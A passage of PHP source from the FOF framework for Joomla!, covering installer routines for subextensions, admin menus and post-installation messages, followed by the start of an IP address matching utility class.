$rawData = @file_get_contents($source . '/version.txt');
$rawData = ($rawData === false) ? "0.0.0\n2011-01-01\n" :
$rawData;
$info = explode("\n", $rawData);
$fofVersion['installed'] = array(
'version' => trim($info[0]),
'date' => new JDate(trim($info[1]))
);
}
else
{
$fofVersion['installed'] = array(
'version' => '0.0',
'date' => new JDate('2011-01-01')
);
}
$rawData = @file_get_contents($source . '/version.txt');
$rawData = ($rawData === false) ? "0.0.0\n2011-01-01\n" :
$rawData;
$info = explode("\n", $rawData);
$fofVersion['package'] = array(
'version' => trim($info[0]),
'date' => new JDate(trim($info[1]))
);
$versionSource = 'installed';
}
if (!($fofVersion[$versionSource]['date'] instanceof JDate))
{
$fofVersion[$versionSource]['date'] = new JDate();
}
return array(
'required' => $haveToInstallFOF,
'installed' => $installedFOF,
'version' =>
$fofVersion[$versionSource]['version'],
'date' =>
$fofVersion[$versionSource]['date']->format('Y-m-d'),
);
}
/**
* Installs Akeeba Strapper if necessary
*
* @param JInstaller $parent The parent object
*
* @return array The installation status
*/
protected function installStrapper($parent)
{
$src = $parent->getParent()->getPath('source');
$source = $src . '/' . $this->strapperSourcePath;
$target = JPATH_ROOT . '/media/akeeba_strapper';
if (!JFolder::exists($source))
{
return array(
'required' => false,
'installed' => false,
'version' => '0.0.0',
'date' => '2011-01-01',
);
}
$haveToInstallStrapper = false;
if (!JFolder::exists($target))
{
$haveToInstallStrapper = true;
}
else
{
$strapperVersion = array();
if (JFile::exists($target . '/version.txt'))
{
$rawData = JFile::read($target . '/version.txt');
$rawData = ($rawData === false) ? "0.0.0\n2011-01-01\n" :
$rawData;
$info = explode("\n", $rawData);
$strapperVersion['installed'] = array(
'version' => trim($info[0]),
'date' => new JDate(trim($info[1]))
);
}
else
{
$strapperVersion['installed'] = array(
'version' => '0.0',
'date' => new JDate('2011-01-01')
);
}
$rawData = JFile::read($source . '/version.txt');
$rawData = ($rawData === false) ? "0.0.0\n2011-01-01\n" :
$rawData;
$info = explode("\n", $rawData);
$strapperVersion['package'] = array(
'version' => trim($info[0]),
'date' => new JDate(trim($info[1]))
);
$haveToInstallStrapper =
$strapperVersion['package']['date']->toUNIX() >
$strapperVersion['installed']['date']->toUNIX();
}
$installedStraper = false;
if ($haveToInstallStrapper)
{
$versionSource = 'package';
$installer = new JInstaller;
$installedStraper = $installer->install($source);
}
else
{
$versionSource = 'installed';
}
if (!isset($strapperVersion))
{
$strapperVersion = array();
if (JFile::exists($target . '/version.txt'))
{
$rawData = JFile::read($target . '/version.txt');
$rawData = ($rawData === false) ? "0.0.0\n2011-01-01\n" :
$rawData;
$info = explode("\n", $rawData);
$strapperVersion['installed'] = array(
'version' => trim($info[0]),
'date' => new JDate(trim($info[1]))
);
}
else
{
$strapperVersion['installed'] = array(
'version' => '0.0',
'date' => new JDate('2011-01-01')
);
}
$rawData = JFile::read($source . '/version.txt');
$rawData = ($rawData === false) ? "0.0.0\n2011-01-01\n" :
$rawData;
$info = explode("\n", $rawData);
$strapperVersion['package'] = array(
'version' => trim($info[0]),
'date' => new JDate(trim($info[1]))
);
$versionSource = 'installed';
}
if (!($strapperVersion[$versionSource]['date'] instanceof
JDate))
{
$strapperVersion[$versionSource]['date'] = new JDate();
}
return array(
'required' => $haveToInstallStrapper,
'installed' => $installedStraper,
'version' =>
$strapperVersion[$versionSource]['version'],
'date' =>
$strapperVersion[$versionSource]['date']->format('Y-m-d'),
);
}
/**
* Uninstalls obsolete subextensions (modules, plugins) bundled with the
main extension
*
* @param JInstaller $parent The parent object
*
* @return stdClass The subextension uninstallation status
*/
protected function uninstallObsoleteSubextensions($parent)
{
JLoader::import('joomla.installer.installer');
$db = FOFPlatform::getInstance()->getDbo();
$status = new stdClass();
$status->modules = array();
$status->plugins = array();
$src = $parent->getParent()->getPath('source');
// Modules uninstallation
if (isset($this->uninstallation_queue['modules']) &&
count($this->uninstallation_queue['modules']))
{
foreach ($this->uninstallation_queue['modules'] as $folder
=> $modules)
{
if (count($modules))
{
foreach ($modules as $module)
{
// Find the module ID
$sql = $db->getQuery(true)
->select($db->qn('extension_id'))
->from($db->qn('#__extensions'))
->where($db->qn('element') . ' = ' .
$db->q('mod_' . $module))
->where($db->qn('type') . ' = ' .
$db->q('module'));
$db->setQuery($sql);
$id = $db->loadResult();
// Uninstall the module
if ($id)
{
$installer = new JInstaller;
$result = $installer->uninstall('module', $id, 1);
$status->modules[] = array(
'name' => 'mod_' . $module,
'client' => $folder,
'result' => $result
);
}
}
}
}
}
// Plugins uninstallation
if (isset($this->uninstallation_queue['plugins']) &&
count($this->uninstallation_queue['plugins']))
{
foreach ($this->uninstallation_queue['plugins'] as $folder
=> $plugins)
{
if (count($plugins))
{
foreach ($plugins as $plugin)
{
$sql = $db->getQuery(true)
->select($db->qn('extension_id'))
->from($db->qn('#__extensions'))
->where($db->qn('type') . ' = ' .
$db->q('plugin'))
->where($db->qn('element') . ' = ' .
$db->q($plugin))
->where($db->qn('folder') . ' = ' .
$db->q($folder));
$db->setQuery($sql);
$id = $db->loadResult();
if ($id)
{
$installer = new JInstaller;
$result = $installer->uninstall('plugin', $id, 1);
$status->plugins[] = array(
'name' => 'plg_' . $plugin,
'group' => $folder,
'result' => $result
);
}
}
}
}
}
return $status;
}
/**
* @param JInstallerAdapterComponent $parent
*
* @return bool
*
* @throws Exception When the Joomla! menu is FUBAR
*/
private function _createAdminMenus($parent)
{
$db = $db = FOFPlatform::getInstance()->getDbo();
/** @var JTableMenu $table */
$table = JTable::getInstance('menu');
$option = $parent->get('element');
// If a component exists with this option in the table then we don't
need to add menus - check only 'main' menutype
$query = $db->getQuery(true)
->select('m.id, e.extension_id')
->from('#__menu AS m')
->join('LEFT', '#__extensions AS e ON m.component_id =
e.extension_id')
->where('m.parent_id = 1')
->where('m.client_id = 1')
->where('m.menutype = ' . $db->q('main'))
->where($db->qn('e') . '.' .
$db->qn('type') . ' = ' .
$db->q('component'))
->where('e.element = ' . $db->quote($option));
$db->setQuery($query);
$componentrow = $db->loadObject();
// Check if menu items exist
if ($componentrow)
{
// @todo Return if the menu item already exists to save some time
//return true;
}
// Let's find the extension id
$query->clear()
->select('e.extension_id')
->from('#__extensions AS e')
->where('e.type = ' . $db->quote('component'))
->where('e.element = ' . $db->quote($option));
$db->setQuery($query);
$component_id = $db->loadResult();
// Ok, now its time to handle the menus. Start with the component root
menu, then handle submenus.
$menuElement =
$parent->get('manifest')->administration->menu;
// We need to insert the menu item as the last child of Joomla!'s
menu root node. By default this is the
// menu item with ID=1. However, some crappy upgrade scripts enjoy
screwing it up. Hey, ho, the workaround
// way I go.
$query = $db->getQuery(true)
->select($db->qn('id'))
->from($db->qn('#__menu'))
->where($db->qn('id') . ' = ' . $db->q(1));
$rootItemId = $db->setQuery($query)->loadResult();
if (is_null($rootItemId))
{
// Guess what? The Problem has happened. Let's find the root node
by title.
$rootItemId = null;
$query = $db->getQuery(true)
->select($db->qn('id'))
->from($db->qn('#__menu'))
->where($db->qn('title') . ' = ' .
$db->q('Menu_Item_Root'));
$rootItemId = $db->setQuery($query, 0, 1)->loadResult();
}
if (is_null($rootItemId))
{
// For crying out loud, did that idiot changed the title too?!
Let's find it by alias.
$rootItemId = null;
$query = $db->getQuery(true)
->select($db->qn('id'))
->from($db->qn('#__menu'))
->where($db->qn('alias') . ' = ' .
$db->q('root'));
$rootItemId = $db->setQuery($query, 0, 1)->loadResult();
}
if (is_null($rootItemId))
{
// Dude. Dude! Duuuuuuude! The alias is screwed up, too?! Find it by
component ID.
$rootItemId = null;
$query = $db->getQuery(true)
->select($db->qn('id'))
->from($db->qn('#__menu'))
->where($db->qn('component_id') . ' = ' .
$db->q('0'));
$rootItemId = $db->setQuery($query, 0, 1)->loadResult();
}
if (is_null($rootItemId))
{
// Your site is more of a "shite" than a "site".
Let's try with minimum lft value.
$rootItemId = null;
$query = $db->getQuery(true)
->select($db->qn('id'))
->from($db->qn('#__menu'))
->order($db->qn('lft') . ' ASC');
$rootItemId = $db->setQuery($query, 0, 1)->loadResult();
}
if (is_null($rootItemId))
{
// I quit. Your site is broken. What the hell are you doing with it?
I'll just throw an error.
throw new Exception("Your site is broken. There is no root menu
item. As a result it is impossible to create menu items. The installation
of this component has failed. Please fix your database and retry!",
500);
}
if ($menuElement)
{
$data = array();
$data['menutype'] = 'main';
$data['client_id'] = 1;
$data['title'] = (string)trim($menuElement);
$data['alias'] = (string)$menuElement;
$data['link'] = 'index.php?option=' . $option;
$data['type'] = 'component';
$data['published'] = 0;
$data['parent_id'] = 1;
$data['component_id'] = $component_id;
$data['img'] = ((string)$menuElement->attributes()->img)
? (string)$menuElement->attributes()->img :
'class:component';
$data['home'] = 0;
$data['path'] = '';
$data['params'] = '';
}
// No menu element was specified, Let's make a generic menu item
else
{
$data = array();
$data['menutype'] = 'main';
$data['client_id'] = 1;
$data['title'] = $option;
$data['alias'] = $option;
$data['link'] = 'index.php?option=' . $option;
$data['type'] = 'component';
$data['published'] = 0;
$data['parent_id'] = 1;
$data['component_id'] = $component_id;
$data['img'] = 'class:component';
$data['home'] = 0;
$data['path'] = '';
$data['params'] = '';
}
try
{
$table->setLocation($rootItemId, 'last-child');
}
catch (InvalidArgumentException $e)
{
if (class_exists('JLog'))
{
JLog::add($e->getMessage(), JLog::WARNING, 'jerror');
}
return false;
}
if (!$table->bind($data) || !$table->check() ||
!$table->store())
{
// The menu item already exists. Delete it and retry instead of throwing
an error.
$query->clear()
->select('id')
->from('#__menu')
->where('menutype = ' . $db->quote('main'))
->where('client_id = 1')
->where('link = ' .
$db->quote('index.php?option=' . $option))
->where('type = ' . $db->quote('component'))
->where('parent_id = 1')
->where('home = 0');
$db->setQuery($query);
$menu_ids_level1 = $db->loadColumn();
if (empty($menu_ids_level1))
{
// Oops! Could not get the menu ID. Go back and rollback changes.
JError::raiseWarning(1, $table->getError());
return false;
}
else
{
$ids = implode(',', $menu_ids_level1);
$query->clear()
->select('id')
->from('#__menu')
->where('menutype = ' . $db->quote('main'))
->where('client_id = 1')
->where('type = ' . $db->quote('component'))
->where('parent_id in (' . $ids . ')')
->where('level = 2')
->where('home = 0');
$db->setQuery($query);
$menu_ids_level2 = $db->loadColumn();
$ids = implode(',', array_merge($menu_ids_level1,
$menu_ids_level2));
// Remove the old menu item
$query->clear()
->delete('#__menu')
->where('id in (' . $ids . ')');
$db->setQuery($query);
$db->query();
// Retry creating the menu item
$table->setLocation($rootItemId, 'last-child');
if (!$table->bind($data) || !$table->check() ||
!$table->store())
{
// Install failed, warn user and rollback changes
JError::raiseWarning(1, $table->getError());
return false;
}
}
}
/*
* Since we have created a menu item, we add it to the installation step
stack
* so that if we have to rollback the changes we can undo it.
*/
$parent->getParent()->pushStep(array('type' =>
'menu', 'id' => $component_id));
/*
* Process SubMenus
*/
if
(!$parent->get('manifest')->administration->submenu)
{
return true;
}
$parent_id = $table->id;
foreach
($parent->get('manifest')->administration->submenu->menu
as $child)
{
$data = array();
$data['menutype'] = 'main';
$data['client_id'] = 1;
$data['title'] = (string)trim($child);
$data['alias'] = (string)$child;
$data['type'] = 'component';
$data['published'] = 0;
$data['parent_id'] = $parent_id;
$data['component_id'] = $component_id;
$data['img'] = ((string)$child->attributes()->img) ?
(string)$child->attributes()->img : 'class:component';
$data['home'] = 0;
// Set the sub menu link
if ((string)$child->attributes()->link)
{
$data['link'] = 'index.php?' .
$child->attributes()->link;
}
else
{
$request = array();
if ((string)$child->attributes()->act)
{
$request[] = 'act=' . $child->attributes()->act;
}
if ((string)$child->attributes()->task)
{
$request[] = 'task=' . $child->attributes()->task;
}
if ((string)$child->attributes()->controller)
{
$request[] = 'controller=' .
$child->attributes()->controller;
}
if ((string)$child->attributes()->view)
{
$request[] = 'view=' . $child->attributes()->view;
}
if ((string)$child->attributes()->layout)
{
$request[] = 'layout=' . $child->attributes()->layout;
}
if ((string)$child->attributes()->sub)
{
$request[] = 'sub=' . $child->attributes()->sub;
}
$qstring = (count($request)) ? '&' .
implode('&', $request) : '';
$data['link'] = 'index.php?option=' . $option .
$qstring;
}
$table = JTable::getInstance('menu');
try
{
$table->setLocation($parent_id, 'last-child');
}
catch (InvalidArgumentException $e)
{
return false;
}
if (!$table->bind($data) || !$table->check() ||
!$table->store())
{
// Install failed, rollback changes
return false;
}
/*
* Since we have created a menu item, we add it to the installation step
stack
* so that if we have to rollback the changes we can undo it.
*/
$parent->getParent()->pushStep(array('type' =>
'menu', 'id' => $component_id));
}
return true;
}
/**
* Make sure the Component menu items are really published!
*
* @param JInstallerAdapterComponent $parent
*
* @return bool
*/
private function _reallyPublishAdminMenuItems($parent)
{
$db = FOFPlatform::getInstance()->getDbo();
$option = $parent->get('element');
$query = $db->getQuery(true)
->update('#__menu AS m')
->join('LEFT', '#__extensions AS e ON m.component_id =
e.extension_id')
->set($db->qn('published') . ' = ' .
$db->q(1))
->where('m.parent_id = 1')
->where('m.client_id = 1')
->where('m.menutype = ' . $db->quote('main'))
->where('e.type = ' . $db->quote('component'))
->where('e.element = ' . $db->quote($option));
$db->setQuery($query);
try
{
$db->execute();
}
catch (Exception $e)
{
// If it fails, it fails. Who cares.
}
}
/**
* Tells Joomla! to rebuild its menu structure to make triple-sure that
the Components menu items really do exist
* in the correct place and can really be rendered.
*/
private function _rebuildMenu()
{
/** @var JTableMenu $table */
$table = JTable::getInstance('menu');
$db = FOFPlatform::getInstance()->getDbo();
// We need to rebuild the menu based on its root item. By default this is
the menu item with ID=1. However, some
// crappy upgrade scripts enjoy screwing it up. Hey, ho, the workaround
way I go.
$query = $db->getQuery(true)
->select($db->qn('id'))
->from($db->qn('#__menu'))
->where($db->qn('id') . ' = ' . $db->q(1));
$rootItemId = $db->setQuery($query)->loadResult();
if (is_null($rootItemId))
{
// Guess what? The Problem has happened. Let's find the root node
by title.
$rootItemId = null;
$query = $db->getQuery(true)
->select($db->qn('id'))
->from($db->qn('#__menu'))
->where($db->qn('title') . ' = ' .
$db->q('Menu_Item_Root'));
$rootItemId = $db->setQuery($query, 0, 1)->loadResult();
}
if (is_null($rootItemId))
{
// For crying out loud, did that idiot changed the title too?!
Let's find it by alias.
$rootItemId = null;
$query = $db->getQuery(true)
->select($db->qn('id'))
->from($db->qn('#__menu'))
->where($db->qn('alias') . ' = ' .
$db->q('root'));
$rootItemId = $db->setQuery($query, 0, 1)->loadResult();
}
if (is_null($rootItemId))
{
// Dude. Dude! Duuuuuuude! The alias is screwed up, too?! Find it by
component ID.
$rootItemId = null;
$query = $db->getQuery(true)
->select($db->qn('id'))
->from($db->qn('#__menu'))
->where($db->qn('component_id') . ' = ' .
$db->q('0'));
$rootItemId = $db->setQuery($query, 0, 1)->loadResult();
}
if (is_null($rootItemId))
{
// Your site is more of a "shite" than a "site".
Let's try with minimum lft value.
$rootItemId = null;
$query = $db->getQuery(true)
->select($db->qn('id'))
->from($db->qn('#__menu'))
->order($db->qn('lft') . ' ASC');
$rootItemId = $db->setQuery($query, 0, 1)->loadResult();
}
if (is_null($rootItemId))
{
// I quit. Your site is broken.
return false;
}
$table->rebuild($rootItemId);
}
/**
* Adds or updates a post-installation message (PIM) definition for
Joomla! 3.2 or later. You can use this in your
* post-installation script using this code:
*
* The $options array contains the following mandatory keys:
*
* extension_id The numeric ID of the extension this message is for
(see the #__extensions table)
*
* type One of message, link or action. Their meaning is:
* message Informative message. The user can
dismiss it.
* link The action button links to a URL. The
URL is defined in the action parameter.
* action A PHP action takes place when the action
button is clicked. You need to specify the
* action_file (RAD path to the PHP file) and
action (PHP function name) keys. See
* below for more information.
*
* title_key The JText language key for the title of this PIM
* Example: COM_FOOBAR_POSTINSTALL_MESSAGEONE_TITLE
*
* description_key The JText language key for the main body
(description) of this PIM
* Example:
COM_FOOBAR_POSTINSTALL_MESSAGEONE_DESCRIPTION
*
* action_key The JText language key for the action button. Ignored
and not required when type=message
* Example: COM_FOOBAR_POSTINSTALL_MESSAGEONE_ACTION
*
* language_extension The extension name which holds the language keys
used above. For example, com_foobar,
* mod_something, plg_system_whatever, tpl_mytemplate
*
* language_client_id Should we load the front-end (0) or back-end (1)
language keys?
*
* version_introduced Which was the version of your extension where this
message appeared for the first time?
* Example: 3.2.1
*
* enabled Must be 1 for this message to be enabled. If you
omit it, it defaults to 1.
*
* condition_file The RAD path to a PHP file containing a PHP
function which determines whether this message
* should be shown to the user. @see
FOFTemplateUtils::parsePath() for RAD path format. Joomla!
* will include this file before calling the
condition_method.
* Example:
admin://components/com_foobar/helpers/postinstall.php
*
* condition_method The name of a PHP function which will be used to
determine whether to show this message to
* the user. This must be a simple PHP user function
(not a class method, static method etc)
* which returns true to show the message and false
to hide it. This function is defined in the
* condition_file.
* Example:
com_foobar_postinstall_messageone_condition
*
* When type=message no additional keys are required.
*
* When type=link the following additional keys are required:
*
* action The URL which will open when the user clicks on
the PIM's action button
* Example:
index.php?option=com_foobar&view=tools&task=installSampleData
*
* Then type=action the following additional keys are required:
*
* action_file The RAD path to a PHP file containing a PHP
function which performs the action of this PIM.
*
* @see FOFTemplateUtils::parsePath() for RAD path
format. Joomla! will include this file
* before calling the function defined in the
action key below.
* Example:
admin://components/com_foobar/helpers/postinstall.php
*
* action The name of a PHP function which will be used to
run the action of this PIM. This must be a
* simple PHP user function (not a class method,
static method etc) which returns no result.
* Example:
com_foobar_postinstall_messageone_action
*
* @param array $options See description
*
* @return void
*
* @throws Exception
*/
protected function addPostInstallationMessage(array $options)
{
// Make sure there are options set
if (!is_array($options))
{
throw new Exception('Post-installation message definitions must be
of type array', 500);
}
// Initialise array keys
$defaultOptions = array(
'extension_id' => '',
'type' => '',
'title_key' => '',
'description_key' => '',
'action_key' => '',
'language_extension' => '',
'language_client_id' => '',
'action_file' => '',
'action' => '',
'condition_file' => '',
'condition_method' => '',
'version_introduced' => '',
'enabled' => '1',
);
$options = array_merge($defaultOptions, $options);
// Array normalisation. Removes array keys not belonging to a definition.
$defaultKeys = array_keys($defaultOptions);
$allKeys = array_keys($options);
$extraKeys = array_diff($allKeys, $defaultKeys);
if (!empty($extraKeys))
{
foreach ($extraKeys as $key)
{
unset($options[$key]);
}
}
// Normalisation of integer values
$options['extension_id'] =
(int)$options['extension_id'];
$options['language_client_id'] =
(int)$options['language_client_id'];
$options['enabled'] = (int)$options['enabled'];
// Normalisation of 0/1 values
foreach (array('language_client_id', 'enabled') as
$key)
{
$options[$key] = $options[$key] ? 1 : 0;
}
// Make sure there's an extension_id
if (!(int)$options['extension_id'])
{
throw new Exception('Post-installation message definitions need an
extension_id', 500);
}
// Make sure there's a valid type
if (!in_array($options['type'], array('message',
'link', 'action')))
{
throw new Exception('Post-installation message definitions need to
declare a type of message, link or action', 500);
}
// Make sure there's a title key
if (empty($options['title_key']))
{
throw new Exception('Post-installation message definitions need a
title key', 500);
}
// Make sure there's a description key
if (empty($options['description_key']))
{
throw new Exception('Post-installation message definitions need a
description key', 500);
}
// If the type is anything other than message you need an action key
if (($options['type'] != 'message') &&
empty($options['action_key']))
{
throw new Exception('Post-installation message definitions need an
action key when they are of type "' . $options['type']
. '"', 500);
}
// You must specify the language extension
if (empty($options['language_extension']))
{
throw new Exception('Post-installation message definitions need to
specify which extension contains their language keys', 500);
}
// The action file and method are only required for the
"action" type
if ($options['type'] == 'action')
{
if (empty($options['action_file']))
{
throw new Exception('Post-installation message definitions need an
action file when they are of type "action"', 500);
}
$file_path =
FOFTemplateUtils::parsePath($options['action_file'], true);
if (!@is_file($file_path))
{
throw new Exception('The action file ' .
$options['action_file'] . ' of your post-installation
message definition does not exist', 500);
}
if (empty($options['action']))
{
throw new Exception('Post-installation message definitions need an
action (function name) when they are of type "action"',
500);
}
}
if ($options['type'] == 'link')
{
if (empty($options['link']))
{
throw new Exception('Post-installation message definitions need an
action (URL) when they are of type "link"', 500);
}
}
// The condition file and method are only required when the type is not
"message"
if ($options['type'] != 'message')
{
if (empty($options['condition_file']))
{
throw new Exception('Post-installation message definitions need a
condition file when they are of type "' .
$options['type'] . '"', 500);
}
$file_path =
FOFTemplateUtils::parsePath($options['condition_file'], true);
if (!@is_file($file_path))
{
throw new Exception('The condition file ' .
$options['condition_file'] . ' of your post-installation
message definition does not exist', 500);
}
if (empty($options['condition_method']))
{
throw new Exception('Post-installation message definitions need a
condition method (function name) when they are of type "' .
$options['type'] . '"', 500);
}
}
// Check if the definition exists
$tableName = '#__postinstall_messages';
$db = FOFPlatform::getInstance()->getDbo();
$query = $db->getQuery(true)
->select('*')
->from($db->qn($tableName))
->where($db->qn('extension_id') . ' = ' .
$db->q($options['extension_id']))
->where($db->qn('type') . ' = ' .
$db->q($options['type']))
->where($db->qn('title_key') . ' = ' .
$db->q($options['title_key']));
$existingRow = $db->setQuery($query)->loadAssoc();
// Is the existing definition the same as the one we're trying to
save (ignore the enabled flag)?
if (!empty($existingRow))
{
$same = true;
foreach ($options as $k => $v)
{
if ($k == 'enabled')
{
continue;
}
if ($existingRow[$k] != $v)
{
$same = false;
break;
}
}
// Trying to add the same row as the existing one; quit
if ($same)
{
return;
}
// Otherwise it's not the same row. Remove the old row before
insert a new one.
$query = $db->getQuery(true)
->delete($db->qn($tableName))
->where($db->q('extension_id') . ' = ' .
$db->q($options['extension_id']))
->where($db->q('type') . ' = ' .
$db->q($options['type']))
->where($db->q('title_key') . ' = ' .
$db->q($options['title_key']));
$db->setQuery($query)->execute();
}
// Insert the new row
$options = (object)$options;
$db->insertObject($tableName, $options);
}
/**
* Applies the post-installation messages for Joomla! 3.2 or later
*
* @return void
*/
protected function _applyPostInstallationMessages()
{
// Make sure it's Joomla! 3.2.0 or later
if (!version_compare(JVERSION, '3.2.0', 'ge'))
{
return;
}
// Make sure there are post-installation messages
if (empty($this->postInstallationMessages))
{
return;
}
// Get the extension ID for our component
$db = FOFPlatform::getInstance()->getDbo();
$query = $db->getQuery(true);
$query->select('extension_id')
->from('#__extensions')
->where($db->qn('type') . ' = ' .
$db->q('component'))
->where($db->qn('element') . ' = ' .
$db->q($this->componentName));
$db->setQuery($query);
try
{
$ids = $db->loadColumn();
}
catch (Exception $exc)
{
return;
}
if (empty($ids))
{
return;
}
$extension_id = array_shift($ids);
foreach ($this->postInstallationMessages as $message)
{
$message['extension_id'] = $extension_id;
$this->addPostInstallationMessage($message);
}
}
protected function uninstallPostInstallationMessages()
{
// Make sure it's Joomla! 3.2.0 or later
if (!version_compare(JVERSION, '3.2.0', 'ge'))
{
return;
}
// Make sure there are post-installation messages
if (empty($this->postInstallationMessages))
{
return;
}
// Get the extension ID for our component
$db = FOFPlatform::getInstance()->getDbo();
$query = $db->getQuery(true);
$query->select('extension_id')
->from('#__extensions')
->where($db->qn('type') . ' = ' .
$db->q('component'))
->where($db->qn('element') . ' = ' .
$db->q($this->componentName));
$db->setQuery($query);
try
{
$ids = $db->loadColumn();
}
catch (Exception $exc)
{
return;
}
if (empty($ids))
{
return;
}
$extension_id = array_shift($ids);
$query = $db->getQuery(true)
->delete($db->qn('#__postinstall_messages'))
->where($db->qn('extension_id') . ' = ' .
$db->q($extension_id));
try
{
$db->setQuery($query)->execute();
}
catch (Exception $e)
{
return;
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('FOF_INCLUDED') or die;
/**
* IP address utilities
*/
abstract class FOFUtilsIp
{
/** @var string The IP address of the current visitor */
protected static $ip = null;
/**
* Should I allow IP overrides through X-Forwarded-For or Client-Ip HTTP
headers?
*
* @var bool
*/
protected static $allowIpOverrides = true;
/**
* Get the current visitor's IP address
*
* @return string
*/
public static function getIp()
{
if (is_null(static::$ip))
{
$ip = self::detectAndCleanIP();
if (!empty($ip) && ($ip != '0.0.0.0') &&
function_exists('inet_pton') &&
function_exists('inet_ntop'))
{
$myIP = @inet_pton($ip);
if ($myIP !== false)
{
$ip = inet_ntop($myIP);
}
}
static::setIp($ip);
}
return static::$ip;
}
/**
* Set the IP address of the current visitor
*
* @param string $ip
*
* @return void
*/
public static function setIp($ip)
{
static::$ip = $ip;
}
/**
* Is it an IPv6 IP address?
*
* @param string $ip An IPv4 or IPv6 address
*
* @return boolean True if it's IPv6
*/
public static function isIPv6($ip)
{
if (strstr($ip, ':'))
{
return true;
}
return false;
}
/**
* Checks if an IP is contained in a list of IPs or IP expressions
*
* @param string $ip The IPv4/IPv6 address to check
* @param array|string $ipTable An IP expression (or a comma-separated
or array list of IP expressions) to check against
*
* @return null|boolean True if it's in the list
*/
public static function IPinList($ip, $ipTable = '')
{
// No point proceeding with an empty IP list
if (empty($ipTable))
{
return false;
}
// If the IP list is not an array, convert it to an array
if (!is_array($ipTable))
{
if (strpos($ipTable, ',') !== false)
{
$ipTable = explode(',', $ipTable);
$ipTable = array_map(function($x) { return trim($x); }, $ipTable);
}
else
{
$ipTable = trim($ipTable);
$ipTable = array($ipTable);
}
}
// If no IP address is found, return false
if ($ip == '0.0.0.0')
{
return false;
}
// If no IP is given, return false
if (empty($ip))
{
return false;
}
// Sanity check
if (!function_exists('inet_pton'))
{
return false;
}
// Get the IP's in_adds representation
$myIP = @inet_pton($ip);
// If the IP is in an unrecognisable format, quite
if ($myIP === false)
{
return false;
}
$ipv6 = self::isIPv6($ip);
foreach ($ipTable as $ipExpression)
{
$ipExpression = trim($ipExpression);
// Inclusive IP range, i.e. 123.123.123.123-124.125.126.127
if (strstr($ipExpression, '-'))
{
list($from, $to) = explode('-', $ipExpression, 2);
if ($ipv6 && (!self::isIPv6($from) || !self::isIPv6($to)))
{
// Do not apply IPv4 filtering on an IPv6 address
continue;
}
elseif (!$ipv6 && (self::isIPv6($from) || self::isIPv6($to)))
{
// Do not apply IPv6 filtering on an IPv4 address
continue;
}
$from = @inet_pton(trim($from));
$to = @inet_pton(trim($to));
// Sanity check
if (($from === false) || ($to === false))
{
continue;
}
// Swap from/to if they're in the wrong order
if ($from > $to)
{
list($from, $to) = array($to, $from);
}
if (($myIP >= $from) && ($myIP <= $to))
{
return true;
}
}
// Netmask or CIDR provided
elseif (strstr($ipExpression, '/'))
{
$binaryip = self::inet_to_bits($myIP);
list($net, $maskbits) = explode('/', $ipExpression, 2);
if ($ipv6 && !self::isIPv6($net))
{
// Do not apply IPv4 filtering on an IPv6 address
continue;
}
elseif (!$ipv6 && self::isIPv6($net))
{
// Do not apply IPv6 filtering on an IPv4 address
continue;
}
elseif ($ipv6 && strstr($maskbits, ':'))
{
// Perform an IPv6 CIDR check
if (self::checkIPv6CIDR($myIP, $ipExpression))
{
return true;
}
// If we didn't match it proceed to the next expression
continue;
}
elseif (!$ipv6 && strstr($maskbits, '.'))
{
// Convert IPv4 netmask to CIDR
$long = ip2long($maskbits);
$base = ip2long('255.255.255.255');
$maskbits = 32 - log(($long ^ $base) + 1, 2);
}
// Convert network IP to in_addr representation
$net = @inet_pton($net);
// Sanity check
if ($net === false)
{
continue;
}
// Get the network's binary representation
$binarynet = self::inet_to_bits($net);
$expectedNumberOfBits = $ipv6 ? 128 : 24;
$binarynet = str_pad($binarynet, $expectedNumberOfBits, '0',
STR_PAD_RIGHT);
// Check the corresponding bits of the IP and the network
$ip_net_bits = substr($binaryip, 0, $maskbits);
$net_bits = substr($binarynet, 0, $maskbits);
if ($ip_net_bits == $net_bits)
{
return true;
}
}
else
{
// IPv6: Only single IPs are supported
if ($ipv6)
{
$ipExpression = trim($ipExpression);
if (!self::isIPv6($ipExpression))
{
continue;
}
$ipCheck = @inet_pton($ipExpression);
if ($ipCheck === false)
{
continue;
}
if ($ipCheck == $myIP)
{
return true;
}
}
else
{
// Standard IPv4 address, i.e. 123.123.123.123 or partial IP address,
i.e. 123.[123.][123.][123]
$dots = 0;
if (substr($ipExpression, -1) == '.')
{
// Partial IP address. Convert to CIDR and re-match
foreach (count_chars($ipExpression, 1) as $i => $val)
{
if ($i == 46)
{
$dots = $val;
}
}
switch ($dots)
{
case 1:
$netmask = '255.0.0.0';
$ipExpression .= '0.0.0';
break;
case 2:
$netmask = '255.255.0.0';
$ipExpression .= '0.0';
break;
case 3:
$netmask = '255.255.255.0';
$ipExpression .= '0';
break;
default:
$dots = 0;
}
if ($dots)
{
$binaryip = self::inet_to_bits($myIP);
// Convert netmask to CIDR
$long = ip2long($netmask);
$base = ip2long('255.255.255.255');
$maskbits = 32 - log(($long ^ $base) + 1, 2);
$net = @inet_pton($ipExpression);
// Sanity check
if ($net === false)
{
continue;
}
// Get the network's binary representation
$binarynet = self::inet_to_bits($net);
$expectedNumberOfBits = $ipv6 ? 128 : 24;
$binarynet = str_pad($binarynet, $expectedNumberOfBits,
'0', STR_PAD_RIGHT);
// Check the corresponding bits of the IP and the network
$ip_net_bits = substr($binaryip, 0, $maskbits);
$net_bits = substr($binarynet, 0, $maskbits);
if ($ip_net_bits == $net_bits)
{
return true;
}
}
}
if (!$dots)
{
$ip = @inet_pton(trim($ipExpression));
if ($ip == $myIP)
{
return true;
}
}
}
}
}
return false;
}
/**
* Works around the REMOTE_ADDR not containing the user's IP
*/
public static function workaroundIPIssues()
{
$ip = self::getIp();
if ($_SERVER['REMOTE_ADDR'] == $ip)
{
return;
}
if (array_key_exists('REMOTE_ADDR', $_SERVER))
{
$_SERVER['FOF_REMOTE_ADDR'] =
$_SERVER['REMOTE_ADDR'];
}
elseif (function_exists('getenv'))
{
if (getenv('REMOTE_ADDR'))
{
$_SERVER['FOF_REMOTE_ADDR'] =
getenv('REMOTE_ADDR');
}
}
$_SERVER['REMOTE_ADDR'] = $ip;
}
/**
* Should I allow the remote client's IP to be overridden by an
X-Forwarded-For or Client-Ip HTTP header?
*
* @param bool $newState True to allow the override
*
* @return void
*/
public static function setAllowIpOverrides($newState)
{
